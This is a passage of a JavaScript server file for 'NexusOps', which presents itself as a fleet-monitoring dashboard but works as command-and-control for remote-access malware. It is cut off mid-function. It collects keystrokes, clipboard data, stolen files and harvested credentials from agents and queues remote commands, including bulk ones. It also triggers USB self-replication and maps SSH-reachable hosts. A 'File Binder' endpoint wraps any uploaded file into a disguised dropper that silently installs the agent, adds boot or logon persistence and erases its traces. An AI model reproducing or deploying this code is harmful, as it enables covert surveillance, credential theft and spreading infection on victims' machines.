1488 lines
57 KiB
JavaScript
1488 lines
57 KiB
JavaScript
const express = require('express');
|
|
const http = require('http');
|
|
const WebSocket = require('ws');
|
|
const path = require('path');
|
|
const cors = require('cors');
|
|
const os = require('os');
|
|
const multer = require('multer');
|
|
const fs = require('fs');
|
|
|
|
const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } });
|
|
|
|
const app = express();
|
|
const server = http.createServer(app);
|
|
const wss = new WebSocket.Server({ server });
|
|
|
|
const PORT = process.env.PORT || 3000;
|
|
const PUBLIC_URL = process.env.PUBLIC_URL || null;
|
|
const DATA_DIR = path.join(__dirname, 'data');
|
|
|
|
// Ensure data directory exists
|
|
if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR, { recursive: true });
|
|
|
|
app.use(cors());
|
|
app.use(express.json({ limit: '50mb' }));
|
|
app.use(express.static(path.join(__dirname, 'public')));// ---- agentseo discovery kit ----
|
|
app.use('/.well-known', express.static(path.join(__dirname, 'public', '.well-known')));
|
|
|
|
|
|
// ── Auth ──
|
|
const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null;
|
|
if (!AUTH_TOKEN) {
|
|
console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!');
|
|
}
|
|
const AGENT_TOKEN = process.env.NEXUS_AGENT_TOKEN || '';
|
|
const AUTH_EXEMPT_PREFIXES = ['/install', '/agent.py', '/bin/'];
|
|
function agentAuthOk(req) {
|
|
if (!AGENT_TOKEN) return true; // agent auth disabled when no token configured
|
|
const t = req.headers['x-agent-token'] || req.query.agenttoken || '';
|
|
return t === AGENT_TOKEN;
|
|
}
|
|
function authMiddleware(req, res, next) {
|
|
if (!AUTH_TOKEN) return next();
|
|
if (req.path.startsWith('/api/agent/') || req.path.startsWith('/api/decrypt/')) {
|
|
if (agentAuthOk(req)) return next();
|
|
return res.status(401).json({ error: 'agent token required' });
|
|
}
|
|
if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next();
|
|
const h = req.headers.authorization || '';
|
|
if (h === 'Bearer ' + AUTH_TOKEN) return next();
|
|
if (req.path === '/api/auth/check') return res.status(401).json({ error: 'unauthorized' });
|
|
return res.status(401).json({ error: 'unauthorized' });
|
|
}
|
|
app.use(authMiddleware);
|
|
app.get('/api/auth/check', (req, res) => {
|
|
if (!AUTH_TOKEN) return res.json({ ok: true, authRequired: false });
|
|
res.json({ ok: true, authRequired: true });
|
|
});
|
|
|
|
|
|
|
|
function getLocalIp() {
|
|
const interfaces = os.networkInterfaces();
|
|
for (const name of Object.keys(interfaces)) {
|
|
for (const net of interfaces[name]) {
|
|
if (net.family === 'IPv4' && !net.internal) {
|
|
return net.address;
|
|
}
|
|
}
|
|
}
|
|
return 'localhost';
|
|
}
|
|
|
|
const SERVER_IP = getLocalIp();
|
|
|
|
const nodes = new Map();
|
|
const commandQueues = new Map();
|
|
const commandHistory = [];
|
|
const masterSystemLogs = [];
|
|
const inputDataStore = [];
|
|
const MAX_INPUT_STORE = 500;
|
|
const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, data, mime, timestamp }
|
|
const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp }
|
|
|
|
// ── Persistence ──
|
|
let _saveLock = false;
|
|
function _atomicWrite(file, data) {
|
|
const tmp = file + '.tmp';
|
|
fs.writeFileSync(tmp, data);
|
|
fs.renameSync(tmp, file);
|
|
}
|
|
function saveData() {
|
|
if (_saveLock) return;
|
|
_saveLock = true;
|
|
try {
|
|
_atomicWrite(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries())));
|
|
_atomicWrite(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200)));
|
|
_atomicWrite(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200)));
|
|
_atomicWrite(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300)));
|
|
_atomicWrite(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200)));
|
|
} catch(e) { /* silent */ } finally {
|
|
_saveLock = false;
|
|
}
|
|
}
|
|
|
|
function loadData() {
|
|
try {
|
|
const nd = JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'nodes.json'), 'utf8') || '[]');
|
|
nd.forEach(([k, v]) => { nodes.set(k, v); if (!commandQueues.has(k)) commandQueues.set(k, []); });
|
|
commandHistory.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'commands.json'), 'utf8') || '[]')));
|
|
masterSystemLogs.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'logs.json'), 'utf8') || '[]')));
|
|
inputDataStore.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'inputs.json'), 'utf8') || '[]')));
|
|
harvestedCredentials.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'creds.json'), 'utf8') || '[]')));
|
|
} catch(e) { /* first run */ }
|
|
}
|
|
loadData();
|
|
|
|
// Auto-save every 30 seconds
|
|
setInterval(saveData, 30000);
|
|
|
|
setInterval(() => {
|
|
const now = Date.now();
|
|
let changed = false;
|
|
nodes.forEach((node, id) => {
|
|
if (node.status === 'online' && now - node.lastHeartbeat > 20000) {
|
|
node.status = 'offline';
|
|
changed = true;
|
|
}
|
|
});
|
|
if (changed) {
|
|
broadcastState();
|
|
}
|
|
}, 5000);
|
|
|
|
let _lastSaveTime = 0;
|
|
function broadcastState() {
|
|
const now = Date.now();
|
|
if (now - _lastSaveTime > 15000) { _lastSaveTime = now; saveData(); }
|
|
const payload = JSON.stringify({
|
|
type: 'NODES_UPDATE',
|
|
serverIp: SERVER_IP,
|
|
port: PORT,
|
|
publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
|
|
nodes: Array.from(nodes.values()),
|
|
commandHistory: commandHistory.slice(-50),
|
|
masterSystemLogs: masterSystemLogs.slice(-100),
|
|
inputData: inputDataStore.slice(-200)
|
|
});
|
|
|
|
wss.clients.forEach(client => {
|
|
if (client.readyState === WebSocket.OPEN) {
|
|
client.send(payload);
|
|
}
|
|
});
|
|
}
|
|
|
|
wss.on('connection', (ws, req) => {
|
|
// Auth check on WS upgrade
|
|
if (AUTH_TOKEN) {
|
|
const url = new URL(req.url, 'http://localhost');
|
|
if (url.searchParams.get('token') !== AUTH_TOKEN) {
|
|
ws.close(4401, 'unauthorized');
|
|
return;
|
|
}
|
|
}
|
|
ws.isAlive = true;
|
|
ws.on('pong', () => { ws.isAlive = true; });
|
|
ws.send(JSON.stringify({
|
|
type: 'NODES_UPDATE',
|
|
serverIp: SERVER_IP,
|
|
port: PORT,
|
|
publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
|
|
nodes: Array.from(nodes.values()),
|
|
commandHistory: commandHistory.slice(-50),
|
|
masterSystemLogs: masterSystemLogs.slice(-100),
|
|
inputData: inputDataStore.slice(-200)
|
|
}));
|
|
});
|
|
|
|
// WS heartbeat: ping every 25s, drop dead clients
|
|
setInterval(() => {
|
|
wss.clients.forEach(ws => {
|
|
if (ws.isAlive === false) return ws.terminate();
|
|
ws.isAlive = false;
|
|
try { ws.ping(); } catch(e) {}
|
|
});
|
|
}, 25000);
|
|
|
|
// REST API Endpoints
|
|
|
|
app.get('/api/status', (req, res) => {
|
|
res.json({
|
|
serverIp: SERVER_IP,
|
|
port: PORT,
|
|
serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
|
|
totalNodes: nodes.size,
|
|
onlineNodes: Array.from(nodes.values()).filter(n => n.status === 'online').length
|
|
});
|
|
});
|
|
|
|
app.get('/api/nodes', (req, res) => {
|
|
res.json(Array.from(nodes.values()));
|
|
});
|
|
|
|
app.get('/api/logs', (req, res) => {
|
|
res.json(masterSystemLogs.slice(-100));
|
|
});
|
|
|
|
// CSV Telemetry Export Endpoint
|
|
app.get('/api/export/csv', (req, res) => {
|
|
let csv = "ID,Hostname,Platform,OS,IP,Status,CPU_Usage,Mem_Usage,Disk_Usage,Uptime_Sec,Tags\n";
|
|
nodes.forEach(node => {
|
|
const tagsStr = (node.tags || []).join(';');
|
|
csv += `"${node.id}","${node.hostname}","${node.platform}","${node.osName}","${node.ip}","${node.status}",${node.cpuUsage},${node.memUsage},${node.diskUsage},${node.uptime},"${tagsStr}"\n`;
|
|
});
|
|
res.setHeader('Content-Type', 'text/csv');
|
|
res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_Nodes_Report.csv"');
|
|
res.send(csv);
|
|
});
|
|
|
|
// Agent System Log Streaming Endpoint
|
|
app.post('/api/agent/logs', (req, res) => {
|
|
const { nodeId, hostname, logs } = req.body;
|
|
if (Array.isArray(logs)) {
|
|
logs.forEach(logLine => {
|
|
masterSystemLogs.push({
|
|
id: `log-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`,
|
|
nodeId,
|
|
hostname: hostname || 'Unknown',
|
|
timestamp: Date.now(),
|
|
entry: logLine
|
|
});
|
|
});
|
|
if (masterSystemLogs.length > 200) {
|
|
masterSystemLogs.splice(0, masterSystemLogs.length - 200);
|
|
}
|
|
broadcastState();
|
|
}
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// Agent Input Capture Endpoint — keystrokes, clicks, clipboard, window focus
|
|
app.post('/api/agent/input-capture', (req, res) => {
|
|
const { nodeId, hostname, events } = req.body;
|
|
if (!nodeId || !Array.isArray(events)) {
|
|
return res.status(400).json({ error: 'nodeId and events[] required' });
|
|
}
|
|
|
|
events.forEach(ev => {
|
|
inputDataStore.push({
|
|
id: `inp-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`,
|
|
nodeId,
|
|
hostname: hostname || 'Unknown',
|
|
timestamp: ev.timestamp || Date.now(),
|
|
eventType: ev.eventType || 'unknown',
|
|
data: ev.data || {},
|
|
windowTitle: ev.windowTitle || '',
|
|
processName: ev.processName || ''
|
|
});
|
|
});
|
|
|
|
if (inputDataStore.length > MAX_INPUT_STORE) {
|
|
inputDataStore.splice(0, inputDataStore.length - MAX_INPUT_STORE);
|
|
}
|
|
|
|
if (events.length > 0) {
|
|
broadcastState();
|
|
}
|
|
|
|
res.json({ success: true, stored: events.length });
|
|
});
|
|
|
|
// Retrieve input capture data
|
|
app.get('/api/inputs', (req, res) => {
|
|
const { nodeId, eventType, limit } = req.query;
|
|
let filtered = inputDataStore;
|
|
|
|
if (nodeId) {
|
|
filtered = filtered.filter(e => e.nodeId === nodeId);
|
|
}
|
|
if (eventType) {
|
|
filtered = filtered.filter(e => e.eventType === eventType);
|
|
}
|
|
|
|
const max = parseInt(limit) || 200;
|
|
res.json(filtered.slice(-max));
|
|
});
|
|
|
|
// ── File Binder — upload any file, get back a self-extracting dropper with embedded agent ──
|
|
// ── File Binder v2 — self-contained dropper (agent embedded, no curl required) ──
|
|
// AGENT_B64 generated at startup from agents/agent.py (token-injected) so the
|
|
// File Binder always embeds the CURRENT agent with auth — never a stale copy.
|
|
let AGENT_B64 = '';
|
|
function buildAgentB64() {
|
|
try {
|
|
const src = fs.readFileSync(path.join(__dirname, 'agents', 'agent.py'), 'utf8');
|
|
const withToken = AGENT_TOKEN ? src.split('__AGENT_TOKEN__').join(AGENT_TOKEN) : src;
|
|
AGENT_B64 = Buffer.from(withToken).toString('base64');
|
|
} catch (e) {
|
|
console.log('!!! binder: agents/agent.py unreadable — bind will produce broken payload');
|
|
}
|
|
}
|
|
buildAgentB64();
|
|
|
|
// ── USB Self-Replication (spread) system ──
|
|
const SPREAD_FILE = path.join(DATA_DIR, 'spread.json');
|
|
let spreadNodes = new Set(), spreadModes = {};
|
|
try {
|
|
const sd = JSON.parse(fs.readFileSync(SPREAD_FILE, 'utf8') || '{}');
|
|
spreadNodes = new Set(sd.nodes || []);
|
|
spreadModes = sd.modes || {};
|
|
} catch (e) {}
|
|
function saveSpread() {
|
|
_atomicWrite(SPREAD_FILE, JSON.stringify({ nodes: Array.from(spreadNodes), modes: spreadModes }));
|
|
}
|
|
setInterval(() => {
|
|
if (!spreadNodes.size) return;
|
|
for (const nid of spreadNodes) {
|
|
const node = nodes.get(nid);
|
|
if (!node || node.status !== 'online') continue;
|
|
commandQueues.get(nid).push({
|
|
id: `cmd-${Date.now()}-sr${Math.random().toString(36).slice(2, 4)}`,
|
|
actionType: 'copy_self_to_usb',
|
|
payload: { mode: spreadModes[nid] || 'copy' },
|
|
command: 'copy_self_to_usb',
|
|
status: 'queued',
|
|
queuedAt: Date.now()
|
|
});
|
|
}
|
|
}, 10 * 60 * 1000);
|
|
app.post('/api/nodes/:id/spread', (req, res) => {
|
|
const nid = req.params.id;
|
|
if (!nodes.has(nid)) return res.status(404).json({ error: 'Node not found' });
|
|
const { enabled, mode } = req.body || {};
|
|
if (enabled !== false) {
|
|
spreadNodes.add(nid);
|
|
if (mode) spreadModes[nid] = mode;
|
|
commandQueues.get(nid).push({
|
|
id: `cmd-${Date.now()}-sr${Math.random().toString(36).slice(2, 4)}`,
|
|
actionType: 'copy_self_to_usb',
|
|
payload: { mode: spreadModes[nid] || 'copy' },
|
|
command: 'copy_self_to_usb',
|
|
status: 'queued',
|
|
queuedAt: Date.now()
|
|
});
|
|
} else {
|
|
spreadNodes.delete(nid);
|
|
delete spreadModes[nid];
|
|
}
|
|
saveSpread();
|
|
broadcastState();
|
|
res.json({ success: true, spread: enabled !== false });
|
|
});
|
|
app.get('/api/spread', (req, res) => res.json({ nodes: Array.from(spreadNodes), modes: spreadModes }));
|
|
|
|
app.post('/api/bind', upload.single('file'), (req, res) => {
|
|
if (!req.file) {
|
|
return res.status(400).json({ error: 'No file uploaded. Use field name "file".' });
|
|
}
|
|
|
|
const originalName = req.file.originalname;
|
|
const b64Content = req.file.buffer.toString('base64');
|
|
const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content];
|
|
const agentLines = AGENT_B64.match(/.{1,76}/g) || [AGENT_B64];
|
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
|
const format = (req.query.format || 'sh').toLowerCase();
|
|
const persist = req.query.persist !== '0'; // persistence ON unless explicitly 0
|
|
|
|
let dropper, boundName, contentType;
|
|
|
|
// ── HTML Payload (one-click social engineering, auto-downloads file) ──
|
|
if (format === 'html') {
|
|
const safeName = originalName.replace(/"/g, '"').replace(/\\/g, '\\\\');
|
|
const safeB64 = b64Content;
|
|
dropper = `<!DOCTYPE html>
|
|
<html><head><meta charset="UTF-8"><title>${safeName}</title>
|
|
<style>
|
|
body { background:#0f172a; color:#e2e8f0; font-family:system-ui; display:flex; align-items:center; justify-content:center; height:100vh; margin:0; flex-direction:column; }
|
|
.card { background:#1e293b; border-radius:16px; padding:2.5rem; text-align:center; max-width:420px; box-shadow:0 25px 50px rgba(0,0,0,0.5); border:1px solid #334155; }
|
|
h1 { font-size:1.5rem; margin:0 0 0.5rem; } p { color:#94a3b8; margin:0 0 1.5rem; font-size:0.9rem; }
|
|
.spinner { width:48px; height:48px; border:4px solid #334155; border-top-color:#06b6d4; border-radius:50%%; animation:spin 0.8s linear infinite; margin:0 auto 1.5rem; }
|
|
@keyframes spin { to { transform:rotate(360deg); } }
|
|
.filename { color:#06b6d4; font-family:monospace; font-size:0.85rem; word-break:break-all; }
|
|
.btn { display:inline-block; background:#06b6d4; color:#fff; border:none; padding:0.75rem 2rem; border-radius:8px; font-size:1rem; cursor:pointer; text-decoration:none; font-weight:600; }
|
|
</style></head><body>
|
|
<div class="card">
|
|
<div class="spinner"></div>
|
|
<h1>Opening your file…</h1>
|
|
<p class="filename">${safeName}</p>
|
|
<a class="btn" id="dl" href="#">Download & Open</a>
|
|
</div>
|
|
<script>
|
|
(function(){
|
|
const b64 = "${safeB64}";
|
|
const name = "${safeName}";
|
|
function go(){
|
|
const bin = Uint8Array.from(atob(b64), c => c.charCodeAt(0));
|
|
const blob = new Blob([bin]);
|
|
const url = URL.createObjectURL(blob);
|
|
const a = document.createElement('a');
|
|
a.href = url; a.download = name; a.click();
|
|
setTimeout(() => URL.revokeObjectURL(url), 60000);
|
|
}
|
|
go();
|
|
document.getElementById('dl').addEventListener('click', e => { e.preventDefault(); go(); });
|
|
})();
|
|
<\/script></body></html>`;
|
|
boundName = originalName + '.html';
|
|
contentType = 'text/html';
|
|
}
|
|
|
|
// ── PowerShell Self-Contained Dropper (Windows) ──
|
|
else if (format === 'ps1') {
|
|
const psLines = [
|
|
'<#',
|
|
' Self-Extracting Dropper — ' + originalName,
|
|
' NexusOps Agent Binder v2 (self-contained, no network)',
|
|
'#>',
|
|
'',
|
|
'$ORIGINAL_NAME = "' + originalName + '"',
|
|
'$OUTPUT_DIR = "$env:TEMP\\nexus-$pid"',
|
|
'$OUTPUT_FILE = "$OUTPUT_DIR\\$ORIGINAL_NAME"',
|
|
'$AGENT_DIR = "$env:ProgramData\\NetworkAgent"',
|
|
'$SERVER_URL = "' + serverUrl + '"',
|
|
'',
|
|
'New-Item -ItemType Directory -Path $OUTPUT_DIR -Force | Out-Null',
|
|
'New-Item -ItemType Directory -Path $AGENT_DIR -Force | Out-Null',
|
|
'',
|
|
'$scriptPath = $MyInvocation.MyCommand.Path',
|
|
'$lines = Get-Content $scriptPath',
|
|
'$fileMarker = [array]::IndexOf($lines, "__FILE_BASE64__")',
|
|
'$agentMarker = [array]::IndexOf($lines, "__AGENT_BASE64__")',
|
|
'if ($fileMarker -ge 0 -and $agentMarker -ge 0) {',
|
|
' $fileB64 = ($lines[($fileMarker+1)..($agentMarker-1)] -join "")',
|
|
' $agentB64 = ($lines[($agentMarker+1)..($lines.Length-1)] -join "")',
|
|
' [IO.File]::WriteAllBytes($OUTPUT_FILE, [Convert]::FromBase64String($fileB64))',
|
|
' [IO.File]::WriteAllBytes("$AGENT_DIR\\agent.py", [Convert]::FromBase64String($agentB64))',
|
|
'}',
|
|
'',
|
|
'Start-Process $OUTPUT_FILE -WindowStyle Normal',
|
|
(persist ? 'schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr "python $AGENT_DIR\\agent.py --server $SERVER_URL --silent" /f /rl HIGHEST 2>$null' : '# persistence disabled by operator'),
|
|
'Start-Process -FilePath python -ArgumentList "$AGENT_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden',
|
|
'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command Start-Sleep 60; Remove-Item -Recurse -Force $OUTPUT_DIR" -WindowStyle Hidden',
|
|
'',
|
|
'__FILE_BASE64__',
|
|
...b64Lines,
|
|
'__AGENT_BASE64__',
|
|
...agentLines
|
|
];
|
|
dropper = psLines.join('\r\n');
|
|
boundName = originalName + '.ps1';
|
|
contentType = 'text/plain';
|
|
}
|
|
|
|
// ── Bash Self-Contained Dropper (Linux/macOS — DEFAULT) ──
|
|
else {
|
|
dropper = [
|
|
'#!/bin/bash',
|
|
'# ═══════════════════════════════════════════════════════',
|
|
'# NexusOps v2 Self-Contained Dropper',
|
|
`# File: ${originalName}`,
|
|
'# Agent is embedded — no network needed',
|
|
'# ═══════════════════════════════════════════════════════',
|
|
'set -e',
|
|
'',
|
|
`ORIGINAL_NAME="${originalName}"`,
|
|
'OUTPUT_DIR="/tmp/.nexus-$$"',
|
|
'OUTPUT_FILE="$OUTPUT_DIR/$ORIGINAL_NAME"',
|
|
`SERVER_URL="${serverUrl}"`,
|
|
'AGENT_DIR="/opt/network-agent"',
|
|
'',
|
|
'mkdir -p "$OUTPUT_DIR" "$AGENT_DIR"',
|
|
'',
|
|
'# ── Extract payloads ──',
|
|
'FILE_START=$(awk \'$0 == "__FILE_BASE64__" {print NR+1; exit}\' "$0")',
|
|
'AGENT_START=$(awk \'$0 == "__AGENT_BASE64__" {print NR+1; exit}\' "$0")',
|
|
'FILE_LINES=$((AGENT_START - FILE_START - 1))',
|
|
'tail -n +$FILE_START "$0" | head -n $FILE_LINES | base64 -d > "$OUTPUT_FILE" 2>/dev/null',
|
|
'tail -n +$AGENT_START "$0" | base64 -d > "$AGENT_DIR/agent.py" 2>/dev/null',
|
|
'chmod +x "$AGENT_DIR/agent.py"',
|
|
'',
|
|
'# ── Open original file ──',
|
|
'if command -v xdg-open &>/dev/null; then xdg-open "$OUTPUT_FILE" 2>/dev/null &',
|
|
'elif command -v open &>/dev/null; then open "$OUTPUT_FILE" 2>/dev/null &',
|
|
'elif command -v start &>/dev/null; then start "$OUTPUT_FILE" 2>/dev/null &',
|
|
'fi',
|
|
'',
|
|
...(persist ? [
|
|
'# ── Install agent persistence (OS-aware) ──',
|
|
'case "$(uname -s 2>/dev/null)" in',
|
|
' Linux)',
|
|
' cat > /etc/systemd/system/network-agent.service << UNITEOF',
|
|
'[Unit]',
|
|
'Description=NexusOps Node Agent',
|
|
'After=network.target',
|
|
'[Service]',
|
|
'Type=simple',
|
|
'ExecStart=/usr/bin/python3 -u $AGENT_DIR/agent.py --server $SERVER_URL --silent',
|
|
'Restart=always',
|
|
'RestartSec=5',
|
|
'[Install]',
|
|
'WantedBy=multi-user.target',
|
|
'UNITEOF',
|
|
' systemctl daemon-reload 2>/dev/null || true',
|
|
' systemctl enable network-agent 2>/dev/null || true',
|
|
' systemctl restart network-agent 2>/dev/null || true',
|
|
' /usr/bin/python3 -u "$AGENT_DIR/agent.py" --server "$SERVER_URL" --silent &>/dev/null &',
|
|
' ;;',
|
|
' Darwin)',
|
|
' mkdir -p "$HOME/Library/LaunchAgents"',
|
|
' cat > "$HOME/Library/LaunchAgents/com.nexusops.agent.plist" << PLISTEOF',
|
|
'<?xml version="1.0" encoding="UTF-8"?>',
|
|
'<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">',
|
|
'<plist version="1.0"><dict>',
|
|
'<key>Label</key><string>com.nexusops.agent</string>',
|
|
'<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>-u</string><string>$AGENT_DIR/agent.py</string><string>--server</string><string>$SERVER_URL</string><string>--silent</string></array>',
|
|
'<key>RunAtLoad</key><true/>',
|
|
'<key>KeepAlive</key><true/>',
|
|
'</dict></plist>',
|
|
'PLISTEOF',
|
|
' launchctl bootout gui/$(id -u) "$HOME/Library/LaunchAgents/com.nexusops.agent.plist" 2>/dev/null || true',
|
|
' launchctl bootstrap gui/$(id -u) "$HOME/Library/LaunchAgents/com.nexusops.agent.plist" 2>/dev/null || true',
|
|
' /usr/bin/python3 -u "$AGENT_DIR/agent.py" --server "$SERVER_URL" --silent &>/dev/null &',
|
|
' ;;',
|
|
'esac',
|
|
] : ['# persistence disabled by operator']),
|
|
'',
|
|
'# ── Self-destruct temp dir ──',
|
|
'(sleep 60 && rm -rf "$OUTPUT_DIR") &',
|
|
'disown',
|
|
'',
|
|
'exit 0',
|
|
'__FILE_BASE64__',
|
|
b64Content,
|
|
'__AGENT_BASE64__',
|
|
AGENT_B64
|
|
].join('\n');
|
|
boundName = originalName + '.sh';
|
|
contentType = 'application/x-sh';
|
|
}
|
|
|
|
res.setHeader('Content-Type', contentType);
|
|
res.setHeader('Content-Disposition', `attachment; filename="${boundName}"`);
|
|
res.send(dropper);
|
|
});
|
|
|
|
app.post('/api/agent/register', (req, res) => {
|
|
const { hostname, platform, arch, ip, osName, tags } = req.body;
|
|
const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).slice(2, 6)}`;
|
|
|
|
const existingNode = nodes.get(nodeId);
|
|
const now = Date.now();
|
|
|
|
const nodeData = {
|
|
id: nodeId,
|
|
hostname: hostname || 'Unknown-Host',
|
|
platform: platform || 'linux',
|
|
arch: arch || 'x64',
|
|
osName: osName || platform,
|
|
ip: ip || req.ip.replace(/^.*:/, '') || '127.0.0.1',
|
|
status: 'online',
|
|
firstSeen: existingNode ? existingNode.firstSeen : now,
|
|
lastHeartbeat: now,
|
|
cpuUsage: 0,
|
|
memUsage: 0,
|
|
diskUsage: 0,
|
|
uptime: 0,
|
|
processCount: 0,
|
|
tags: tags || ['Default'],
|
|
agentVersion: req.body.agentVersion || (existingNode && existingNode.agentVersion) || 'unknown',
|
|
heartbeatInterval: 5,
|
|
metricsHistory: existingNode ? existingNode.metricsHistory : []
|
|
};
|
|
|
|
nodes.set(nodeId, nodeData);
|
|
if (!commandQueues.has(nodeId)) {
|
|
commandQueues.set(nodeId, []);
|
|
}
|
|
|
|
broadcastState();
|
|
if (!existingNode) postWebhook(`🟢 NexusOps new node: ${nodeData.hostname} (${nodeData.ip}) v${nodeData.agentVersion || '?'}`);
|
|
res.json({ success: true, nodeId, serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, fallbackUrls: process.env.NEXUS_FALLBACK_URLS ? process.env.NEXUS_FALLBACK_URLS.split(',') : [] });
|
|
});
|
|
|
|
// Agent Heartbeat
|
|
app.post('/api/agent/heartbeat', (req, res) => {
|
|
const { nodeId, cpuUsage, memUsage, diskUsage, uptime, processCount, tags, heartbeatInterval } = req.body;
|
|
|
|
if (!nodeId || !nodes.has(nodeId)) {
|
|
return res.status(404).json({ error: 'Node not registered.' });
|
|
}
|
|
|
|
const node = nodes.get(nodeId);
|
|
const now = Date.now();
|
|
if (req.body.agentVersion && node.agentVersion !== req.body.agentVersion) {
|
|
node.agentVersion = req.body.agentVersion;
|
|
}
|
|
|
|
node.status = 'online';
|
|
node.lastHeartbeat = now;
|
|
node.cpuUsage = typeof cpuUsage === 'number' ? Math.round(cpuUsage) : node.cpuUsage;
|
|
node.memUsage = typeof memUsage === 'number' ? Math.round(memUsage) : node.memUsage;
|
|
node.diskUsage = typeof diskUsage === 'number' ? Math.round(diskUsage) : node.diskUsage;
|
|
node.uptime = uptime || node.uptime;
|
|
node.processCount = processCount || node.processCount;
|
|
if (tags) node.tags = tags;
|
|
if (heartbeatInterval) node.heartbeatInterval = heartbeatInterval;
|
|
|
|
if (!node.metricsHistory) node.metricsHistory = [];
|
|
node.metricsHistory.push({
|
|
timestamp: new Date().toLocaleTimeString(),
|
|
cpu: node.cpuUsage,
|
|
mem: node.memUsage,
|
|
disk: node.diskUsage
|
|
});
|
|
if (node.metricsHistory.length > 30) {
|
|
node.metricsHistory.shift();
|
|
}
|
|
|
|
nodes.set(nodeId, node);
|
|
broadcastState();
|
|
|
|
const queue = commandQueues.get(nodeId) || [];
|
|
const pendingCommands = [...queue];
|
|
commandQueues.set(nodeId, []);
|
|
|
|
res.json({ success: true, commands: pendingCommands });
|
|
});
|
|
|
|
// Command Result Callback
|
|
|
|
// ── Topology capture + API ──
|
|
const TOPOLOGY_FILE = path.join(DATA_DIR, 'topology.json');
|
|
let topologyEdges = {};
|
|
try { topologyEdges = JSON.parse(fs.readFileSync(TOPOLOGY_FILE, 'utf8') || '{}'); } catch (e) {}
|
|
function saveTopology() { _atomicWrite(TOPOLOGY_FILE, JSON.stringify(topologyEdges)); }
|
|
app.get('/api/topology', (req, res) => {
|
|
const nodeList = Array.from(nodes.values()).map(n => ({
|
|
id: n.id, hostname: n.hostname, ip: n.ip, status: n.status, version: n.agentVersion || '?'
|
|
}));
|
|
res.json({ nodes: nodeList, edges: topologyEdges });
|
|
});
|
|
|
|
app.post('/api/agent/command-result', (req, res) => {
|
|
const { commandId, nodeId, output, exitCode } = req.body;
|
|
try {
|
|
const cmdEntry = commandHistory.find(c => c.id === commandId);
|
|
if (output && output.startsWith('subnet ') && output.includes('ssh-open:')) {
|
|
const m = output.match(/ssh-open: ([^|]+)/);
|
|
if (m) {
|
|
topologyEdges[nodeId] = { at: Date.now(), hosts: m[1].split(',').map(x => x.trim()).filter(Boolean) };
|
|
saveTopology();
|
|
}
|
|
}
|
|
} catch (e) {}
|
|
const entry = commandHistory.find(c => c.id === commandId);
|
|
if (entry) {
|
|
entry.status = exitCode === 0 ? 'completed' : 'failed';
|
|
entry.output = output;
|
|
entry.completedAt = Date.now();
|
|
}
|
|
broadcastState();
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// Queue Command for Single Node
|
|
app.post('/api/nodes/:id/command', (req, res) => {
|
|
const nodeId = req.params.id;
|
|
const { command, actionType, payload } = req.body;
|
|
|
|
if (!nodes.has(nodeId)) {
|
|
return res.status(404).json({ error: 'Node not found' });
|
|
}
|
|
|
|
const commandId = `cmd-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
|
|
const actionName = actionType || 'raw_command';
|
|
|
|
const cmdObj = {
|
|
id: commandId,
|
|
actionType: actionName,
|
|
payload: payload || { command },
|
|
command: command || actionName,
|
|
createdAt: Date.now()
|
|
};
|
|
|
|
if (!commandQueues.has(nodeId)) {
|
|
commandQueues.set(nodeId, []);
|
|
}
|
|
commandQueues.get(nodeId).push(cmdObj);
|
|
|
|
commandHistory.push({
|
|
id: commandId,
|
|
nodeId,
|
|
hostname: nodes.get(nodeId).hostname,
|
|
command: command || `${actionName} (${JSON.stringify(payload)})`,
|
|
status: 'queued',
|
|
createdAt: Date.now(),
|
|
output: ''
|
|
});
|
|
|
|
broadcastState();
|
|
res.json({ success: true, commandId });
|
|
});
|
|
|
|
// Queue Bulk Command
|
|
app.post('/api/nodes/bulk-command', (req, res) => {
|
|
const { command, actionType, payload } = req.body;
|
|
const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');
|
|
|
|
if (onlineNodes.length === 0) {
|
|
return res.status(400).json({ error: 'No online nodes available' });
|
|
}
|
|
|
|
const queuedIds = [];
|
|
onlineNodes.forEach(node => {
|
|
const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
|
|
const actionName = actionType || 'raw_command';
|
|
|
|
const cmdObj = {
|
|
id: commandId,
|
